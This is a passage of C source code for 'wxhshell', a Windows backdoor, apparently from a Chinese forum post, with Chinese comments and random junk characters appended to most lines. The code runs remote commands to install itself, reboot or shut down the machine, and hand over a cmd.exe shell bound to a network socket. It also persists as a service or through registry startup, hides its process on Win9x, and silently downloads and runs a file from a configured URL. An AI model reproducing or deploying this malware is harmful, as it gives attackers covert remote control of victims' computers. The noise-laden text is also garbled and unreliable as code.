    switch(cmd[0]) { u:N/aaU=  
  5RTAM  
  // 帮助 oa`,|dA"  
  case '?': { /+J?Ep(_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F#iLMO&Q  
    break; b9OT~i=S|  
  } y6; '?.Y1  
  // 安装 Gn;eh~uw;l  
  case 'i': { + &b`QcH<  
    if(Install()) `ivr$b#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m7e$ Z  
    else d<qbUk3;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "aP>}5<h  
    break; E+"INX7  
    } @}x)>tqD  
  // 卸载 bsPwTp^  
  case 'r': { 1(!QutEb  
    if(Uninstall()) [ WZ<d^L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G_[|N>  
    else C|W_j&S65  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X?Omk, '  
    break; FWdSpaas Q  
    } >9=Y(`  
  // 显示 wxhshell 所在路径 _hMVv&$  
  case 'p': { H U$:x"AW  
    char svExeFile[MAX_PATH]; t_,iV9NrZ  
    strcpy(svExeFile,"\n\r"); ^C):yxN P  
      strcat(svExeFile,ExeFile); q`}Q[Li  
        send(wsh,svExeFile,strlen(svExeFile),0); 9))%tYN  
    break; !hF b <  
    } rP;Fh|w#  
  // 重启 3 T Q#3h  
  case 'b': { ,vW.vq<{q3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *D,+v!wG9  
    if(Boot(REBOOT)) '4FS.0*_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =}r&>|rrJ  
    else { QKZm<lUL  
    closesocket(wsh); [gzw<b:`  
    ExitThread(0); ;myu8B7&  
    } Gr?"okaA  
    break; C3bZ3vcW$  
    } ?GD{}f33  
  // 关机 5HL JkOV5  
  case 'd': {  h:#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R`ZU'|  
    if(Boot(SHUTDOWN)) <W/-[ M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =t&B8+6  
    else { *xU^e`P  
    closesocket(wsh);  mbd  
    ExitThread(0); Ps<)?q6(  
    } {)ZbOq2  
    break; Zu\#;O   
    } V>A@Sw  
  // 获取shell zmf5!77  
  case 's': { A>OL5TCl  
    CmdShell(wsh); xJ>hN@5}i  
    closesocket(wsh); c 2?(.UV  
    ExitThread(0); 52l|  
    break; MY9?957F  
  } Zi@?g IiX  
  // 退出 i3;Z:,A4NN  
  case 'x': { fPK|Nw]b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ID'@}69.S  
    CloseIt(wsh); !&E>8h  
    break; cKF02?)TX  
    } pR 1v^m|  
  // 离开 Wz:MPdz3(  
  case 'q': { kc|`VB8L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wm*`  
    closesocket(wsh); mkj`z  
    WSACleanup(); f>ED  
    exit(1); 8DLR  
    break;  U@m<  
        } \~jt7 Q  
  } v]U[7 j  
  } YZpF*E;6t  
^;W,:y&  
  // 提示信息 e d4T_O;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m++VW0Y>  
} 1xM&"p:  
  } _=q)lt-UY  
:r^i0g|5P  
  return; Iy|]U&`  
} .yi.GRk  
xE;fM\7pu  
// shell模块句柄 o0s+ roiD  
int CmdShell(SOCKET sock) LL9Mty,  
{ i0p"q p  
STARTUPINFO si; MV9{>xX  
ZeroMemory(&si,sizeof(si)); Jev@IORN\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?h K+h.{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \^N9Q9{7]  
PROCESS_INFORMATION ProcessInfo; Xd|@w{.m*  
char cmdline[]="cmd"; aKH\8O4L5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  A{5 k}  
  return 0; Ha)w*1&w"  
} |;rjr_I  
$Xz9xzOR  
// 自身启动模式 kc~Z1  
int StartFromService(void) !p&M,6  
{ GsqrKrbJ  
typedef struct ttZ!P:H2  
{ Ik;~u8j1e  
  DWORD ExitStatus; ,D ;`t  
  DWORD PebBaseAddress; ,589/xTA@  
  DWORD AffinityMask; z56W5g2  
  DWORD BasePriority; *tz"T-6O  
  ULONG UniqueProcessId; 'OBA nE<.  
  ULONG InheritedFromUniqueProcessId; K{M_ 4'\  
}   PROCESS_BASIC_INFORMATION; E# e=<R  
,E)bS7W  
PROCNTQSIP NtQueryInformationProcess; &giJO-^ f  
$vGl Z<3g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #MGZje,I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qf>dfJ^q  
*|euC"5c  
  HANDLE             hProcess;  @tDVW *!  
  PROCESS_BASIC_INFORMATION pbi; 9J% dd0  
:8Q6=K87  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "vU:qwm  
  if(NULL == hInst ) return 0; cQ3Dk<GZ  
"~d)$]+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "-ZuH   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v`y{l>r,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l4;/[Q>Z  
sHQe0"Eo  
  if (!NtQueryInformationProcess) return 0; r^*,eF  
{_^sR}%]F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :l3Tt<  
  if(!hProcess) return 0; *RxbqB-  
G_j` 6v)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^Y #?@  
0qJ(3N  
  CloseHandle(hProcess); bG.aV#$FIg  
L8R|\Bx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $D9JsUij  
if(hProcess==NULL) return 0; VCbnS191*  
OWOj|jM  
HMODULE hMod; G;fP  
char procName[255]; apGf@b  
unsigned long cbNeeded; VWLou jB  
bmt2~!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c?<FMb3]  
rf)\:75  
  CloseHandle(hProcess); ^>9M2O['!s  
n]9y Cr  
if(strstr(procName,"services")) return 1; // 以服务启动 J,{sRb%  
]lZ!en  
  return 0; // 注册表启动 ?1OS%RBF  
} l Fzb$k}_{  
Q^fli"_ :  
// 主模块 (]mN09uE  
int StartWxhshell(LPSTR lpCmdLine) O^U{I?gQ  
{ wk8XD(&  
  SOCKET wsl; zpg*hlv  
BOOL val=TRUE; 9-bDgzk   
  int port=0; 5Z`f)qE  
  struct sockaddr_in door;  g<UjB  
FE$)[w,m  
  if(wscfg.ws_autoins) Install(); ]d% hU  
i/)Uj-*G)  
port=atoi(lpCmdLine); /7P4[~vw  
eW7;yH  
if(port<=0) port=wscfg.ws_port; lD !^MqK  
\i`/k(  
  WSADATA data; E8FS jLZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (F$q|qZ%  
{:{NK%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AO8`ItNZdT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #MOEY|6  
  door.sin_family = AF_INET; #1V vK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); , Y9lp)w  
  door.sin_port = htons(port); 7U?x8%H*  
']}ZI 8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aQinR"o  
closesocket(wsl); g w }t.3}  
return 1; +uv]dD *i  
} 70|Cn(p_  
o1I{^7/  
  if(listen(wsl,2) == INVALID_SOCKET) { BS+N   
closesocket(wsl); E>SnH  
return 1; 3&3S*1b-H  
} ?N$  
  Wxhshell(wsl); ~p oy`h'  
  WSACleanup(); O v?k4kJ  
]_F%{8|  
return 0; wm8(Ju  
~p8-#A)X,)  
} L6 hTz'  
_E&*JX  
// 以NT服务方式启动 a7OD%yQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3}LTEsdM  
{ #Q$9Eq8"[  
DWORD   status = 0; &#;UKk~)Of  
  DWORD   specificError = 0xfffffff; |*OS;FD5  
[",W TZ:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =wI ,H@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~{U~9v^v (  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JsVW:8QO~  
  serviceStatus.dwWin32ExitCode     = 0; PN0:,.4  
  serviceStatus.dwServiceSpecificExitCode = 0; ic?6p  
  serviceStatus.dwCheckPoint       = 0; lh8`.sWk4V  
  serviceStatus.dwWaitHint       = 0; ETjlq]@j  
vxZz9+UbF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2hmV 1gj  
  if (hServiceStatusHandle==0) return; "{L%5:H@  
H$;K(,'  
status = GetLastError(); 1 ljgq]($  
  if (status!=NO_ERROR) SaQ_%-&#p  
{ vPSH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0'z$"(6D  
    serviceStatus.dwCheckPoint       = 0; !*+~R2&b  
    serviceStatus.dwWaitHint       = 0; Yz.[CmdX  
    serviceStatus.dwWin32ExitCode     = status; hD # Yz<  
    serviceStatus.dwServiceSpecificExitCode = specificError; r-&4<=C/N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +?nW  
    return;  ] |~],\  
  } g3Kc? wTC  
>JrQS"[u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (ioi !p  
  serviceStatus.dwCheckPoint       = 0; ~i6tc d  
  serviceStatus.dwWaitHint       = 0; 3H@TvV/;f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,j9}VnW)  
} R;'Pe>  
UiaY0 .D  
// 处理NT服务事件,比如:启动、停止 6D3fkvc Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TQ>kmHWf/  
{ }UQBaqDH  
switch(fdwControl) [S-NGip  
{ rv:,Os_  
case SERVICE_CONTROL_STOP: c?>Q!sC  
  serviceStatus.dwWin32ExitCode = 0; d8dREhK&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XSn^$$S  
  serviceStatus.dwCheckPoint   = 0; GfL}f9  
  serviceStatus.dwWaitHint     = 0; r$R(4q:  
  { (Dq3e9fX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j4+hWalm  
  } m cp}F|ws  
  return; 8$xg\l0?KK  
case SERVICE_CONTROL_PAUSE: Hz%#&E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6-QTqb?U;N  
  break; aL+k1v[m  
case SERVICE_CONTROL_CONTINUE: cz&Qoyh{;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !-LPFy>  
  break; Q5{i#F7nJm  
case SERVICE_CONTROL_INTERROGATE: C4TJS,!1rH  
  break; 7cY_=X-?Y  
}; T~=NY,n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2vu"PeU9  
} ]0V~|<0c  
!)_80O1  
// 标准应用程序主函数 6&$z!60  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^\ {%(i9  
{ /|`;|0/2  
c i_XcG  
// 获取操作系统版本 zZ OoPE  
OsIsNt=GetOsVer(); u+z$+[lm!G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +%$!sp?  
m"X0Owx  
  // 从命令行安装 :}o0Eb  
  if(strpbrk(lpCmdLine,"iI")) Install(); )?I1*(1{A  
.nKyB'uV  
  // 下载执行文件 "4&HxD8_ih  
if(wscfg.ws_downexe) { }g5h"N\$o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o24` 5Jdh  
  WinExec(wscfg.ws_filenam,SW_HIDE); X.%Xi'H  
} z#8GF^U:T  
tJbOn$]2"  
if(!OsIsNt) { CPF d 3 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 -O^b  
HideProc(); ZTM zL%i  
StartWxhshell(lpCmdLine); EX=+TOkAf  
} =p N?h<dc  
else =JX.* MEB  
  if(StartFromService()) Euk#C;uBg  
  // 以服务方式启动 Pm#B'N#*N|  
  StartServiceCtrlDispatcher(DispatchTable); W>bhSKV%  
else !+JSguy  
  // 普通方式启动 !gW$A-XD  
  StartWxhshell(lpCmdLine); pj?+cy v~  
3yZtyXRPn  
return 0; (ZT*EFhb(  
}
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只看该作者 1 发表于: 2006-10-10
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